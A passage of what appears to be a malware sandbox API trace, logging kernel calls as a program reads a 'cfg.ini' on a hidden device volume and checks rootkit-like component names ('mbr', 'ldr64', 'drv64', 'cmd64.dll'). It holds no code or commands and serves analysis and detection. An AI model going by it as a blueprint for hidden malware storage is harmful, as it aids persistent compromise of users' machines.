Event=0xfffff880028b25d0) [0119.429] IdePortDispatch () returned 0x103 [0119.429] KeWaitForMutexObject () returned 0x0 [0119.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.429] KeLeaveCriticalRegion () [0119.429] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.429] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.429] KeEnterCriticalRegion () [0119.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.429] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.429] KeLeaveCriticalRegion () [0119.429] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.429] KeEnterCriticalRegion () [0119.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.429] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.430] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.430] KeLeaveCriticalRegion () [0119.430] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.430] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.430] KeEnterCriticalRegion () [0119.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.430] ExFreePoolWithTag (P=0xfffffa8003bcb2b0, Tag=0x0) [0119.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.430] KeLeaveCriticalRegion () [0119.430] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.430] ReleaseMutex (hMutex=0xf0) returned 1 [0119.430] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.436] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.436] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.436] KeEnterCriticalRegion () [0119.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.436] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.436] IdePortDispatch () returned 0x103 [0119.436] KeWaitForMutexObject () returned 0x0 [0119.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.436] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.436] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.436] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.436] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.436] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1d50 [0119.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.436] KeLeaveCriticalRegion () [0119.436] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.436] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.436] KeEnterCriticalRegion () [0119.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.436] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.436] KeLeaveCriticalRegion () [0119.437] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.437] KeEnterCriticalRegion () [0119.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.437] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.437] IdePortDispatch () returned 0x103 [0119.437] KeWaitForMutexObject () returned 0x0 [0119.437] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.437] KeLeaveCriticalRegion () [0119.437] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.437] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.437] KeEnterCriticalRegion () [0119.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.437] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d87000 [0119.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.437] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.437] IdePortDispatch () returned 0x103 [0119.437] KeWaitForMutexObject () returned 0x0 [0119.437] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.437] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.437] IdePortDispatch () returned 0x103 [0119.438] KeWaitForMutexObject () returned 0x0 [0119.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.438] KeLeaveCriticalRegion () [0119.438] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.438] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.438] KeEnterCriticalRegion () [0119.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.438] KeLeaveCriticalRegion () [0119.438] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.438] KeEnterCriticalRegion () [0119.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.438] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.438] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.438] KeLeaveCriticalRegion () [0119.439] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.439] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.439] KeEnterCriticalRegion () [0119.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.439] ExFreePoolWithTag (P=0xfffffa8003aa1d50, Tag=0x0) [0119.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.439] KeLeaveCriticalRegion () [0119.439] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.439] ReleaseMutex (hMutex=0xf0) returned 1 [0119.439] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.439] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.439] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.439] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.439] KeEnterCriticalRegion () [0119.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.439] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.439] IdePortDispatch () returned 0x103 [0119.439] KeWaitForMutexObject () returned 0x0 [0119.439] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.439] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.439] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.439] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.439] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.439] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.439] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.439] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.439] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.439] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.439] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.439] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.439] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.439] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.439] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.439] KeLeaveCriticalRegion () [0119.439] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.440] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.440] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.440] KeEnterCriticalRegion () [0119.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.440] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.440] IdePortDispatch () returned 0x103 [0119.441] KeWaitForMutexObject () returned 0x0 [0119.441] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.441] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.441] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.441] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.441] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.441] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.441] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.441] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.441] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.441] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.441] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.441] KeLeaveCriticalRegion () [0119.441] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.441] ReleaseMutex (hMutex=0x100) returned 1 [0119.441] Sleep (dwMilliseconds=0x2bf20) [0119.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a649830, dwHighDateTime=0x1d24fa4)) [0119.448] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.448] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.448] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.448] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.448] KeEnterCriticalRegion () [0119.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.448] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.448] IdePortDispatch () returned 0x103 [0119.448] KeWaitForMutexObject () returned 0x0 [0119.448] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.448] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.448] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.448] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.448] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.448] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bafb30 [0119.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.448] KeLeaveCriticalRegion () [0119.448] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.448] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.448] KeEnterCriticalRegion () [0119.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.449] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.449] KeLeaveCriticalRegion () [0119.449] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.449] KeEnterCriticalRegion () [0119.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.449] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.449] IdePortDispatch () returned 0x103 [0119.449] KeWaitForMutexObject () returned 0x0 [0119.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.449] KeLeaveCriticalRegion () [0119.449] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.449] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.449] KeEnterCriticalRegion () [0119.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8a000 [0119.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.449] IdePortDispatch () returned 0x103 [0119.449] KeWaitForMutexObject () returned 0x0 [0119.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.450] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.450] IdePortDispatch () returned 0x103 [0119.450] KeWaitForMutexObject () returned 0x0 [0119.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.450] KeLeaveCriticalRegion () [0119.450] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.450] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.450] KeEnterCriticalRegion () [0119.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.450] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.450] KeLeaveCriticalRegion () [0119.450] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.450] KeEnterCriticalRegion () [0119.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.450] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.450] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.450] KeLeaveCriticalRegion () [0119.450] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.451] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.451] KeEnterCriticalRegion () [0119.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.451] ExFreePoolWithTag (P=0xfffffa8003bafb30, Tag=0x0) [0119.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.451] KeLeaveCriticalRegion () [0119.451] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.451] ReleaseMutex (hMutex=0xf0) returned 1 [0119.451] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.451] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.451] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.451] KeEnterCriticalRegion () [0119.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.451] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.451] IdePortDispatch () returned 0x103 [0119.451] KeWaitForMutexObject () returned 0x0 [0119.451] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.451] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.451] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.451] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.451] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.451] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.451] KeLeaveCriticalRegion () [0119.451] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.451] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.451] KeEnterCriticalRegion () [0119.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.451] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.451] 